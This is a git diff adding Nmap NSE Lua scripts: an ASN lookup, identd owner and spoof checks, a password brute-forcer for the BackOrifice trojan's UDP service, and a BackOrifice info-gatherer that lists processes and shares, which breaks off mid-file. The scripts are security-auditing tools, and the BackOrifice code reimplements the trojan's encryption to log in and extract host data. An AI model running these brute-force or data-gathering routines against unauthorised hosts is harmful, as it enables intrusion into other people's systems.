+-- @param host Host table.
+-- @return Formatted answers or <code>nil</code> on errors.
+
+action = function( host )
+
+ mutex "lock"
+
+ local output, records, combined_records = {}, {}, {}
+
+ -- check for cached data
+ local in_cache, cache_data = check_cache( host.ip )
+
+ if in_cache and type( cache_data ) == "table" then
+ combined_records = cache_data
+ elseif in_cache and type( cache_data ) == "string" and cache_data ~= "Unknown Error" then
+ output = cache_data
+ end
+
+ if not in_cache then
+
+ local dname = dns.reverse( host.ip )
+ local zone_repl, IPv = "%.in%-addr%.arpa", 4
+ if host.ip:match( ":" ) then
+ zone_repl, IPv = "%.ip6%.arpa", 6
+ end
+
+ ---
+ -- Team Cymru zones for rDNS-like queries. The zones are as follows:
+ -- * nmap.asn.cymru.com for IPv4 to Origin AS lookup.
+ -- * peer-nmap.asn.cymru.com for IPv4 to Peer AS lookup.
+ -- * nmap6.asn.cymru.com for IPv6 to Origin AS lookup.
+ -- @class table
+ -- @name cymru
+ local cymru = { [4] = { ".nmap.asn.cymru.com", ".peer-nmap.asn.cymru.com" },
+ [6] = { ".nmap6.asn.cymru.com" }
+ }
+
+ -- perform queries for each applicable zone
+ for _, zone in ipairs( cymru[IPv] ) do
+
+ local asn_type = ( zone:match( "peer" ) and "Peer" ) or "Origin"
+ -- replace arpa with cymru zone
+ local temp = dname
+ dname = dname:gsub( zone_repl, zone )
+
+ -- send query
+ local success, response = ip_to_asn( dname )
+ if not success then
+ records = {}
+ output = ( type( response ) == "string" and response ) or output
+ break
+ end
+
+ -- recognize and organise fields from response
+ local success = result_recog( response, asn_type, records, host.ip )
+
+ -- un-replace arpa zone
+ dname = temp
+
+ end
+
+ -- combine records into unique BGP, cache and format for output
+ combined_records = process_answers( records, output, host.ip )
+
+ end -- if not in_cache
+
+
+ mutex "done"
+
+ return nice_output( output, combined_records )
+
+end -- action
+
+
+
+---
+-- Checks whether the target IP address is within any BGP prefixes for which a query has
+-- already been performed and returns a pointer to the HOST SCRIPT RESULT displaying the applicable answers.
+-- @param ip String representing the target IP address.
+-- @return Boolean true if there are cached answers for the supplied target, otherwise
+-- false.
+-- @return Table containing a string for each answer or <code>nil</code> if there are none.
+
+function check_cache( ip )
+ local ret = {}
+
+ -- collect any applicable answers
+ for _, cache_entry in ipairs( nmap.registry.asn.cache ) do
+ if ipOps.ip_in_range( ip, cache_entry.cache_bgp ) then
+ ret[#ret+1] = cache_entry
+ end
+ end
+ if #ret < 1 then return false, nil end
+
+ -- /0 signals that we want to kill this thread (all threads in fact)
+ if #ret == 1 and type( ret[1].cache_bgp ) == "string" and ret[1].cache_bgp:match( "/0" ) then return true, nil end
+
+ -- should return pointer unless there are more than one unique pointer
+ local dirty, last_ip = false
+ for _, entry in ipairs( ret ) do
+ if last_ip and last_ip ~= entry.pointer then
+ dirty = true; break
+ end
+ last_ip = entry.pointer
+ end
+ if not dirty then
+ return true, ( "See the result for %s" ):format( last_ip )
+ else
+ return true, ret
+ end
+
+ return false, nil
+end
+
+
+---
+-- Performs an IP address to ASN lookup. See http://www.team-cymru.org/Services/ip-to-asn.html#dns.
+-- @param query String - PTR-like DNS query.
+-- @return Boolean true for a successful DNS query resulting in an answer, otherwise false.
+-- @return Table of answers or a string error message.
+
+function ip_to_asn( query )
+
+ if type( query ) ~= "string" or query == "" then
+ return false, nil
+ end
+
+ -- error codes from dns.lua that we want to display.
+ local err_code = {}
+ err_code[3] = "No Such Name"
+
+ -- dns query options
+ local options = {}
+ options.dtype = "TXT"
+ options.retAll = true
+ options.sendCount = 1
+ if type( nmap.registry.args.dns ) == "string" and nmap.registry.args.dns ~= "" then
+ options.host = nmap.registry.args.dns
+ options.port = 53
+ end
+
+ -- send the query
+ local status, decoded_response = dns.query( query, options)
+
+ if not status then
+ stdnse.debug1("Error from dns.query(): %s", decoded_response )
+ end
+
+ return status, decoded_response
+
+end
+
+
+---
+-- Extracts fields from the supplied DNS answer sections and generates a records entry for each.
+-- @param answers Table containing string DNS answers.
+-- @param asn_type String denoting whether the query is for Origin or Peer ASN.
+-- @param recs Table of existing recognized answers to which to add (refer to the <code>records</code> table inside <code>action</code>.
+-- @return Boolean true if successful otherwise false.
+
+function result_recog( answers, asn_type, recs, discoverer_ip )
+
+ if type( answers ) ~= "table" or #answers == 0 then return false end
+
+ for _, answer in ipairs( answers ) do
+ local t = {}
+ t.pointer = discoverer_ip
+
+ -- break the answer up into fields and strip whitespace
+ local fields = { answer:match( ("([^|]*)|" ):rep(3) ) }
+ for i, field in ipairs( fields ) do
+ fields[i] = field:gsub( "^%s*(.-)%s*$", "%1" )
+ end
+
+ -- assign fields with labels to table
+ t.cache_bgp = fields[2]
+ t.asn_type = asn_type
+ t.asn = { asn_type .. " AS: " .. fields[1] }
+ t.bgp = "BGP: " .. fields[2]
+ if fields[3] ~= "" then t.co = "Country: " .. fields[3] end
+ recs[#recs+1] = t
+
+ -- lookup AS descriptions for Origin AS numbers
+ local asn_descr = nmap.registry.asn.descr
+ local u = {}
+ if asn_type == "Origin" then
+ for num in fields[1]:gmatch( "%d+" ) do
+ if not asn_descr[num] then
+ asn_descr[num] = asn_description( num )
+ end
+ u[#u+1] = ( "%s AS: %s%s%s" ):format( asn_type, num, ( asn_descr[num] ~= "" and " - " ) or "", asn_descr[num] )
+ end
+ t.asn = { table.concat(u, "\n " ) }
+ end
+ end
+
+ return true
+
+end
+
+
+---
+-- Performs an AS Number to AS Description lookup.
+-- @param asn String AS number.
+-- @return String description or <code>""</code>.
+
+function asn_description( asn )
+
+ if type( asn ) ~= "string" or asn == "" then
+ return ""
+ end
+
+ -- dns query options
+ local options = {}
+ options.dtype = "TXT"
+ options.sendCount = 1
+ if type( nmap.registry.args.dns ) == "string" and nmap.registry.args.dns ~= "" then
+ options.host = nmap.registry.args.dns
+ options.port = 53
+ end
+
+ -- send query
+ local query = ( "AS%s.asn.cymru.com" ):format( asn )
+ local status, decoded_response = dns.query( query, options )
+ if not status then
+ return ""
+ end
+
+ return decoded_response:match( "|%s*([^|$]+)%s*$" ) or ""
+
+end
+
+
+---
+-- Processes records which are recognized DNS answers by combining them into unique BGPs before caching
+-- them in the registry and returning <code>combined_records</code>. If there aren't any records (No Such Name message
+-- or DNS failure) we signal this fact to other threads by using the cache and return with an empty table.
+-- @param records Table of recognized answers (may be empty).
+-- @param output String non-answer message or an empty table.
+-- @param ip String <code>host.ip</code>.
+-- @return Table containing combined records for the target (or an empty table).
+
+function process_answers( records, output, ip )
+
+ local combined_records = {}
+
+ -- if records empty and no error message (output) then assume catastrophic dns failure and have all threads fail without trying.
+ if #records == 0 and type( output ) ~= "string" then
+ nmap.registry.asn.cache = { {["cache_bgp"] = "0/0"}, {["cache_bgp"] = "::/0"} }
+ return {}
+ end
+
+ if #records == 0 and type( output ) == "string" then
+ table.insert( nmap.registry.asn.cache, { ["pointer"] = ip, ["cache_bgp"] = get_assignment( ip, ( ip:match(":") and 48 ) or 29 ) } )
+ return {}
+ end
+
+
+ if type( records ) ~= "table" or #records == 0 then
+ return {}
+ end
+
+ -- combine fields for unique BGP
+ for _, record in ipairs( records ) do
+ if not combined_records[record.cache_bgp] then
+ combined_records[record.cache_bgp] = record
+ elseif combined_records[record.cache_bgp].asn_type ~= record.asn_type then
+ -- origin before peer.
+ if record.asn_type == "Origin" then
+ combined_records[record.cache_bgp].asn = { table.unpack( record.asn ), table.unpack( combined_records[record.cache_bgp].asn ) }
+ else
+ combined_records[record.cache_bgp].asn = { table.unpack( combined_records[record.cache_bgp].asn ), table.unpack( record.asn ) }
+ end
+ end
+ end
+
+ -- cache combined records
+ for _, rec in pairs( combined_records ) do
+ table.insert( nmap.registry.asn.cache, rec )
+ end
+
+ return combined_records
+
+end
+
+
+---
+-- Calculates the prefix length for the given IP address range.
+-- @param range String representing an IP address range.
+-- @return Number - prefix length of the range.
+
+function get_prefix_length( range )
+
+ if type( range ) ~= "string" or range == "" then return nil end
+
+ local first, last, err = ipOps.get_ips_from_range( range )
+ if err then return nil end
+
+ first = ipOps.ip_to_bin(first)
+ last = ipOps.ip_to_bin(last)
+
+ for pos = 1, #first do
+ if first:byte(pos) ~= last:byte(pos) then
+ return pos - 1
+ end
+ end
+
+ return #first
+
+end
+
+---
+-- Given an IP address and a prefix length, returns a string representing a
+-- valid IP address assignment (size is not checked) which contains the
+-- supplied IP address. For example, with
+-- <code>ip</code> = <code>"192.168.1.187"</code> and
+-- <code>prefix</code> = <code>24</code> the return value will be
+-- <code>"192.168.1.1-192.168.1.255"</code>
+-- @param ip String representing an IP address.
+-- @param prefix String or number representing a prefix length. Should be of the same address family as <code>ip</code>.
+-- @return String representing a range of addresses from the first to the last hosts (or <code>nil</code> in case of an error).
+-- @return <code>nil</code> or error message in case of an error.
+
+function get_assignment( ip, prefix )
+
+ local some_ip, err = ipOps.ip_to_bin( ip )
+ if err then return nil, err end
+
+ prefix = tonumber( prefix )
+ if not prefix or ( prefix < 0 ) or ( prefix > # some_ip ) then
+ return nil, "Error in get_assignment: Invalid prefix length."
+ end
+
+ local hostbits = string.sub( some_ip, prefix + 1 )
+ hostbits = string.gsub( hostbits, "1", "0" )
+ local first = string.sub( some_ip, 1, prefix ) .. hostbits
+ local last
+ err = {}
+ first, err[#err+1] = ipOps.bin_to_ip( first )
+ last, err[#err+1] = ipOps.get_last_ip( ip, prefix )
+ if #err > 0 then return nil, table.concat( err, " " ) end
+
+ return first .. "-" .. last
+
+end
+
+
+---
+-- Decides what to output based on the content of the supplied parameters and formats it for return by <code>action</code>.
+-- @param output String non-answer message to be returned as is or an empty table.
+-- @param combined_records Table containing combined records.
+-- @return Formatted nice output string.
+
+function nice_output( output, combined_records )
+
+ -- return a string message
+ if type( output ) == "string" and output ~= "" then
+ return output
+ end
+
+ -- return nothing (dns failure)
+ if type( output ) ~= "table" then return nil end
+
+ -- format each combined_record for output
+ for _, rec in pairs( combined_records ) do
+ local r = {}
+ if rec.bgp then r[#r+1] = rec.bgp end
+ if rec.co then r[#r+1] = rec.co end
+ if rec.asn then output[#output+1] = ( "%s\n %s" ):format( table.concat( r, " | " ), table.concat( rec.asn, "\n " ) ) end
+ end
+
+ -- return nothing
+ if #output == 0 then return nil end
+
+ -- sort BGP asc. and combine BGP when ASN info is duplicated
+ local first, second
+ table.sort( output, function(a,b) return (get_prefix_length(a) or 0) > (get_prefix_length(b) or 0) end )
+ for i=1,#output,1 do
+ for j=1,#output,1 do
+ -- does everything after the first pipe match for i ~= j?
+ if i ~= j and output[i]:match( "[^|]+|([^$]+$)" ) == output[j]:match( "[^|]+|([^$]+$)" ) then
+ first = output[i]:match( "([%x%d:%.]+/%d+)%s|" ) -- the lastmost BGP before the pipe in i.
+ second = output[j]:match( "([%x%d:%.]+/%d+)" ) -- first BGP in j
+ -- add in the new BGP from j and delete j
+ if first and second then
+ output[i] = output[i]:gsub( first, ("%s and %s"):format( first, second ) )
+ output[j] = ""
+ end
+ end
+ end
+ end
+
+ -- return combined and formatted answers
+ return "\n" .. table.concat( output, "\n" )
+
+end
diff --git a/scripts/auth-owners.nse b/scripts/auth-owners.nse
new file mode 100644
index 0000000..ab4bd1c
--- /dev/null
+++ b/scripts/auth-owners.nse
@@ -0,0 +1,80 @@
+local nmap = require "nmap"
+local string = require "string"
+
+description = [[
+Attempts to find the owner of an open TCP port by querying an auth
+daemon which must also be open on the target system. The auth service,
+also known as identd, normally runs on port 113.
+]]
+---
+--@output
+-- 21/tcp open ftp ProFTPD 1.3.1
+-- |_ auth-owners: nobody
+-- 22/tcp open ssh OpenSSH 4.3p2 Debian 9etch2 (protocol 2.0)
+-- |_ auth-owners: root
+-- 25/tcp open smtp Postfix smtpd
+-- |_ auth-owners: postfix
+-- 80/tcp open http Apache httpd 2.0.61 ((Unix) PHP/4.4.7 ...)
+-- |_ auth-owners: dhapache
+-- 113/tcp open auth?
+-- |_ auth-owners: nobody
+-- 587/tcp open submission Postfix smtpd
+-- |_ auth-owners: postfix
+-- 5666/tcp open unknown
+-- |_ auth-owners: root
+
+-- The protocol is documented in RFC 1413.
+
+author = "Diman Todorov"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+portrule = function(host, port)
+ local auth_port = { number=113, protocol="tcp" }
+ local identd = nmap.get_port_state(host, auth_port)
+
+ return identd ~= nil
+ and identd.state == "open"
+ and port.protocol == "tcp"
+ and port.state == "open"
+end
+
+action = function(host, port)
+ local owner = ""
+
+ local client_ident = nmap.new_socket()
+ local client_service = nmap.new_socket()
+
+ local catch = function()
+ client_ident:close()
+ client_service:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ try(client_ident:connect(host, 113))
+ try(client_service:connect(host, port))
+
+ local localip, localport, remoteip, remoteport =
+ try(client_service:get_info())
+
+ local request = port.number .. ", " .. localport .. "\r\n"
+
+ try(client_ident:send(request))
+
+ owner = try(client_ident:receive_lines(1))
+
+ if string.match(owner, "ERROR") then
+ owner = nil
+ else
+ owner = string.match(owner,
+ "%d+%s*,%s*%d+%s*:%s*USERID%s*:%s*[^:]+%s*:[ \t]*([^\r\n]+)\r?\n")
+ end
+
+ try(client_ident:close())
+ try(client_service:close())
+
+ return owner
+end
diff --git a/scripts/auth-spoof.nse b/scripts/auth-spoof.nse
new file mode 100644
index 0000000..42f0c4d
--- /dev/null
+++ b/scripts/auth-spoof.nse
@@ -0,0 +1,37 @@
+local comm = require "comm"
+local shortport = require "shortport"
+
+description = [[
+Checks for an identd (auth) server which is spoofing its replies.
+
+Tests whether an identd (auth) server responds with an answer before
+we even send the query. This sort of identd spoofing can be a sign of
+malware infection, though it can also be used for legitimate privacy
+reasons.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE REASON
+-- 113/tcp open auth syn-ack
+-- |_auth-spoof: Spoofed reply: 0, 0 : USERID : UNIX : OGJdvM
+
+author = "Diman Todorov"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"malware", "safe"}
+
+
+portrule = shortport.port_or_service(113, "auth")
+
+action = function(host, port)
+ local status, owner = comm.get_banner(host, port, {lines=1})
+
+ if not status then
+ return
+ end
+
+ return "Spoofed reply: " .. owner
+end
+
diff --git a/scripts/backorifice-brute.nse b/scripts/backorifice-brute.nse
new file mode 100644
index 0000000..0699b6d
--- /dev/null
+++ b/scripts/backorifice-brute.nse
@@ -0,0 +1,291 @@
+local bits = require "bits"
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Performs brute force password auditing against the BackOrifice service. The
+<code>backorifice-brute.ports</code> script argument is mandatory (it specifies ports to run
+the script against).
+]]
+
+---
+-- @usage
+-- nmap -sU --script backorifice-brute <host> --script-args backorifice-brute.ports=<ports>
+--
+-- @arg backorifice-brute.ports (mandatory) List of UDP ports to run the script against separated with "," ex. "U:31337,25252,151-222", "U:1024-1512"
+--
+-- This script uses the brute library to perform password guessing. A
+-- successful password guess is stored in the nmap registry, under the
+-- <code>nmap.registry.credentials.backorifice</code> table for other BackOrifice
+-- scripts to use.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 31337/udp open BackOrifice
+-- | backorifice-brute:
+-- | Accounts:
+-- | michael => Valid credentials
+-- | Statistics
+-- |_ Perfomed 60023 guesses in 467 seconds, average tps: 138
+--
+
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+-- x The backorifice class contains the backorifice client implementation
+--
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+-- This portrule succeeds only when the open|filtered port is in the port range
+-- which is specified by the ports script argument
+portrule = function(host, port)
+
+ local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")
+ if not ports then
+ stdnse.verbose1("Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+
+ -- ensure UDP
+ ports = ports:gsub("^[U:]*", "U:")
+ return port.protocol == "udp" and shortport.port_range(ports)(host, port) and
+ not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+local MAGICSTRING ="*!*QWTY?"
+local backorifice =
+{
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ --- Initializes the backorifice object
+ --
+ initialize = function(self)
+ --create socket
+ self.socket = nmap.new_socket("udp")
+ self.socket:set_timeout(self.host.times.timeout * 1000)
+ return true
+ end,
+
+ --- Attempts to send an encrypted PING packet to BackOrifice service
+ --
+ -- @param password string containing password for encryption
+ -- @param initial_seed number containing initial encryption seed
+ -- @return status, true on success, false on failure
+ -- @return err string containing error message on failure
+ try_password = function(self, password, initial_seed)
+ --initialize BackOrifice PING packet: |MAGICSTRING|size|packetID|TYPE_PING|arg1|arg_separat|arg2|CRC/disregarded|
+ local PING_PACKET = MAGICSTRING .. string.pack("<I4 I4 B zz", 19, 0, 1, "", "")
+ local seed, status, response, encrypted_ping
+
+ if not(initial_seed) then
+ seed = self:gen_initial_seed(password)
+ else
+ seed = initial_seed
+ end
+
+ encrypted_ping = self:BOcrypt(PING_PACKET,seed)
+
+ status, response = self.socket:sendto(self.host, self.port, encrypted_ping)
+ if not(status) then
+ return false, response
+ end
+ status, response = self.socket:receive()
+
+ -- The first 8 bytes of both response and sent data are
+ -- magicstring = "*!*QWTY?", without the quotes, and since
+ -- both are encrypted with the same initial seed, this is
+ -- how we verify we are talking to a BackOrifice service.
+ -- The statement is optimized so as not to decrypt unless
+ -- comparison of encrypted magicstrings succeeds
+ if status and response:sub(1,8) == encrypted_ping:sub(1,8)
+ and self:BOcrypt(response,seed):match("!PONG!(1%.20)!.*!") then
+ local BOversion, BOhostname = self:BOcrypt(response,seed):match("!PONG!(1%.20)!(.*)!")
+ self:insert_version_info(BOversion,BOhostname,nil,password)
+ return true
+ else
+ if not(status) then
+ return false, response
+ else
+ return false,"Response not recognized."
+ end
+ end
+ end,
+
+ --- Close the socket
+ --
+ -- @return status true on success, false on failure
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ --- Generates the initial encryption seed from a password
+ --
+ -- @param password string containing password
+ -- @return seed number containing initial seed
+ gen_initial_seed = function(self, password)
+ if password == nil then
+ return 31337
+ else
+ local y = #password
+ local z = 0
+
+ for x = 1,y do
+ local pchar = string.byte(password,x)
+ z = z + pchar
+ end
+
+ for x=1,y do
+ local pchar = string.byte(password,x)
+ if (x-1)%2 == 1 then
+ z = z - (pchar * (y-(x-1)+1))
+ else
+ z = z + (pchar * (y-(x-1)+1))
+ end
+ z = z % 0x7fffffff
+ end
+ z = (z*y) % 0x7fffffff
+ return z
+ end
+ end,
+
+ --- Generates next encryption seed from given seed
+ --
+ -- @param seed number containing current seed
+ -- @return seed number containing next seed
+ gen_next_seed = function(self, seed)
+ seed = seed*214013 + 2531011
+ seed = seed & 0xffffff
+ return seed
+ end,
+
+ --- Encrypts/decrypts data using BackOrifice algorithm
+ --
+ -- @param data binary string containing data to be encrypted/decrypted
+ -- @param initial_seed number containing initial encryption seed
+ -- @return data binary string containing encrypted/decrypted data
+ BOcrypt = function(self, data, initial_seed )
+ if data==nil then return end
+ local output = {}
+
+ local seed = initial_seed
+
+ for i = 1, #data do
+ local data_byte = string.byte(data,i)
+
+ --calculate next seed
+ seed = self:gen_next_seed(seed)
+ --calculate encryption key based on seed
+ local key = bits.arshift(seed,16) & 0xff
+
+ local crypto_byte = data_byte ~ key
+ output[i] = string.char(crypto_byte)
+ if i == 256 then break end --ARGSIZE limitation
+ end
+ return table.concat(output, "")
+ end,
+
+ insert_version_info = function(self,BOversion,BOhostname,initial_seed,password)
+ if not self.port.version then self.port.version={} end
+ if not self.port.version.name then
+ self.port.version.name ="BackOrifice"
+ self.port.version.name_confidence = 10
+ end
+ if not self.port.version.product then self.port.version.product ="BackOrifice trojan" end
+ if not self.port.version.version then self.port.version.version = BOversion end
+ if not self.port.version.extrainfo then
+ if not password then
+ if not initial_seed then
+ self.port.version.extrainfo = "no password"
+ else
+ self.port.version.extrainfo = "initial encryption seed="..initial_seed
+ end
+ else
+ self.port.version.extrainfo = "password="..password
+ end
+ end
+ self.port.version.hostname = BOhostname
+ if not self.port.version.ostype then self.port.version.ostype = "Windows" end
+ nmap.set_port_version(self.host, self.port)
+ nmap.set_port_state(self.host,self.port,"open")
+ end
+}
+
+local Driver =
+{
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect=function(self)
+ --only initialize since BackOrifice service knows no connect()
+ self.bo = backorifice:new(self.host,self.port)
+ self.bo:initialize()
+ return true
+ end,
+
+ disconnect = function( self )
+ self.bo:close()
+ end,
+
+ --- Attempts to send encrypted PING packet to BackOrifice service
+ --
+ -- @param username string containing username which is disregarded
+ -- @param password string containing login password
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+ local status, msg = self.bo:try_password(password,nil)
+ if status then
+ if not(nmap.registry['credentials']) then
+ nmap.registry['credentials']={}
+ end
+ if ( not( nmap.registry.credentials['backorifice'] ) ) then
+ nmap.registry.credentials['backorifice'] = {}
+ end
+ table.insert( nmap.registry.credentials.backorifice, { password = password } )
+ return true, creds.Account:new("", password, creds.State.VALID)
+ else
+ -- The only indication that the password is incorrect is a timeout
+ local err = brute.Error:new( "Incorrect password" )
+ err:setRetry(false)
+ return false, err
+ end
+ end,
+
+}
+
+action = function( host, port )
+
+ local status, result
+ local engine = brute.Engine:new(Driver,host,port)
+
+ engine.options.firstonly = true
+ engine.options.passonly = true
+ engine.options.script_name = SCRIPT_NAME
+
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/backorifice-info.nse b/scripts/backorifice-info.nse
new file mode 100644
index 0000000..8bd08ab
--- /dev/null
+++ b/scripts/backorifice-info.nse
@@ -0,0 +1,325 @@
+local bits = require "bits"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Connects to a BackOrifice service and gathers information about
+the host and the BackOrifice service itself.
+
+The extracted host information includes basic system setup, list
+of running processes, network resources and shares.
+
+Information about the service includes enabled port redirections,
+listening console applications and a list of BackOrifice plugins
+installed with the service.
+]]
+
+---
+-- @usage
+-- nmap --script backorifice-info <target> --script-args backorifice-info.password=<password>
+--
+-- @arg backorifice-info.password Encryption password (defaults to no password).
+-- @arg backorifice-info.seed Encryption seed (default derived from password, or 31337 for no password).
+--
+--@output
+--31337/udp open|filtered BackOrifice
+--| backorifice-info:
+--| PING REPLY
+--| !PONG!1.20!HAL9000!
+--| SYSTEM INFO
+--| System info for machine 'HAL9000'
+--| Current user: 'Dave'
+--| Processor: I586
+--| Win32 on Windows 95 v4.10 build 2222 - A
+--| Memory: 63M in use: 30% Page file: 1984M free: 1970M
+--| C:\ - Fixed Sec/Clust: 64 Byts/Sec: 512, Bytes free: 2147155968/21471
+--| ...155968
+--| D:\ - CD-ROM
+--| PROCESS LIST
+--| PID - Executable
+--| 4293872589 C:\WINDOWS\SYSTEM\KERNEL32.DLL
+--| 4294937581 C:\WINDOWS\SYSTEM\MSGSRV32.EXE
+--| 4294935933 C:\WINDOWS\SYSTEM\MPREXE.EXE
+--| 4294843869 C:\WINDOWS\SYSTEM\MSTASK.EXE
+--| 4294838549 C:\WINDOWS\SYSTEM\ .EXE
+--| 4294864917 C:\WINDOWS\EXPLORER.EXE
+--| 4294880413 C:\WINDOWS\TASKMON.EXE
+--| 4294878445 C:\WINDOWS\SYSTEM\SYSTRAY.EXE
+--| 4294771309 C:\WINDOWS\WINIPCFG.EXE
+--| 4294772081 C:\WINDOWS\SYSTEM\WINOA386.MOD
+--| NETWORK RESOURCES - NET VIEW
+--| (null) '(null)' - Microsoft Network - UNKNOWN! (Network root?):CONTAINER
+--| (null) 'WORKGROUP' - (null) - DOMAIN:CONTAINER
+--| (null) '\\HAL9000' - - SERVER:CONTAINER
+--| (null) '\\HAL9000\DOCUMENTS' - sample comment 2 - SHARE:DISK
+--| (null) '\\WIN982' - - SERVER:CONTAINER
+--| (null) '\\WIN982\BO' - tee hee hee comment - SHARE:DISK
+--| SHARELIST
+--| 'DOCUMENTS'-C:\WINDOWS\DESKTOP\DOCUMENTS 'sample comment 2' RO:'' RW:'
+--| ...'' Disk PERSISTANT READONLY
+--| 'IPC$'- 'Remote Inter Process Communication' RO:'' RW:'' IPC FULL
+--| REDIRECTED PORTS
+--| 0 redirs displayed
+--| LISTENING CONSOLE APPLICATIONS
+--| 0 apps listed
+--| PLUGIN LIST
+--|_ End of plugins
+--
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"backorifice-brute"}
+
+
+portrule = shortport.port_or_service (31337, "BackOrifice", "udp")
+
+
+--variables
+local g_packet = 0
+
+--"constants"
+local MAGICSTRING ="*!*QWTY?"
+local TYPE = {
+ ERROR = 0x00,
+ PARTIAL_PACKET = 0x80,
+ CONTINUED_PACKET = 0x40,
+ PING = 0x01,
+ SYSINFO = 0x06,
+ PROCESSLIST = 0x20,
+ NETVIEW = 0x39,
+ NETEXPORTLIST = 0x12,
+ REDIRLIST = 0x0D,
+ APPLIST = 0x3F,
+ PLUGINLIST = 0x2F
+}
+
+
+--table of commands which have output
+local cmds = {
+ {cmd_name="PING REPLY",p_code=TYPE.PING,arg1="",arg2="",
+ filter = function(data)
+ data = string.gsub(data," ","")
+ return data
+ end},
+ {cmd_name="SYSTEM INFO",p_code=TYPE.SYSINFO,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"End of system info") then return nil end
+ return data
+ end},
+ {cmd_name="PROCESS LIST",p_code=TYPE.PROCESSLIST,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"End of processes") then return nil end
+ data = string.gsub(data,"pid","PID")
+ return data
+ end},
+ {cmd_name="NETWORK RESOURCES - NET VIEW",p_code=TYPE.NETVIEW,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"Network resources:") then return nil end
+ if string.match(data,"End of resource list") then return nil end
+ return data
+ end},
+ {cmd_name="SHARELIST",p_code=TYPE.NETEXPORTLIST,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"Shares as returned by system:") then return nil end
+ if string.match(data,"End of shares") then return nil end
+ return data
+ end},
+ {cmd_name="REDIRECTED PORTS",p_code=TYPE.REDIRLIST,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"Redirected ports:%s") then return nil end
+ return data
+ end},
+ {cmd_name="LISTENING CONSOLE APPLICATIONS",p_code=TYPE.APPLIST,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"Active apps:") then return nil end
+ return data
+ end},
+ -- I !think! plugin list MUST be last because it causes problems server-side
+ {cmd_name="PLUGIN LIST",p_code=TYPE.PLUGINLIST,arg1="",arg2="",
+ filter = function(data)
+ if string.match(data,"Plugins:") then return nil end
+ return data
+ end}
+}
+
+local function gen_next_seed(seed)
+ seed = seed*214013 + 2531011
+ seed = seed & 0xffffff
+ return seed
+end
+
+local function gen_initial_seed(password)
+ if password == nil then
+ return 31337
+ else
+ local y = #password
+ local z = 0
+
+ for x = 1,y do
+ local pchar = string.byte(password,x)
+ z = z + pchar
+ end
+
+ for x=1,y do
+ local pchar = string.byte(password,x)
+ if (x-1)%2 == 1 then
+ z = z - (pchar * (y-(x-1)+1))
+ else
+ z = z + (pchar * (y-(x-1)+1))
+ end
+ z = z % 0x7fffffff
+ end
+ z = (z*y) % 0x7fffffff
+ return z
+ end
+end
+
+--BOcrypt returns encrypted/decrypted data
+local function BOcrypt(data, password, initial_seed )
+ if data==nil then return end
+ local output = {}
+
+ local seed
+ if(initial_seed == nil) then
+ --calculate initial seed
+ seed = gen_initial_seed(password)
+ else
+ --in case initial seed is set by backorifice brute
+ seed = initial_seed
+ end
+
+ for i = 1, #data do
+ local data_byte = string.byte(data,i)
+
+ --calculate next seed
+ seed = gen_next_seed(seed)
+ --calculate encryption key based on seed
+ local key = bits.arshift(seed,16) & 0xff
+
+ local crypto_byte = data_byte ~ key
+ output[i] = string.char(crypto_byte)
+ if i == 256 then break end --ARGSIZE limitation
+ end
+ return table.concat(output, "")
+end
+
+local function BOpack(type_packet, str1, str2)
+ -- create BO packet
+ local size = #MAGICSTRING + 4*2 + 3 + #str1 + #str2
+ local data = MAGICSTRING .. string.pack("<I4 I4 B zz", size, g_packet, type_packet, str1, str2)
+ g_packet = g_packet + 1
+ return data
+end
+
+local function BOunpack(packet)
+ local header_format = ("<c%d I4 I4 B"):format(#MAGICSTRING)
+ if #packet < string.packsize(header_format) then
+ return nil, TYPE.ERROR
+ end
+ local magic, packetsize, packetid, type_packet, pos = string.unpack(header_format, packet)
+
+ if magic ~= MAGICSTRING then return nil,TYPE.ERROR end --received non-BO packet
+ if packetsize ~= #packet then
+ -- No idea how often this happens or if it should be a fatal error
+ stdnse.debug1("Wrong packet size: expected %d, got %d bytes", packetsize, #packet)
+ end
+
+ local data = packet:sub(pos)
+
+ return data, type_packet
+end
+
+local function insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
+ if(port.version==nil) then port.version={} end
+ if(port.version.name==nil) then
+ port.version.name ="BackOrifice"
+ port.version.name_confidence = 10
+ end
+ if(port.version.product==nil) then port.version.product ="BackOrifice trojan" end
+ if(port.version.version == nil) then port.version.version = BOversion end
+ if(port.version.extrainfo == nil) then
+ if password == nil then
+ if initial_seed == nil then
+ port.version.extrainfo = "no password"
+ else
+ port.version.extrainfo = "initial encryption seed="..initial_seed
+ end
+ else
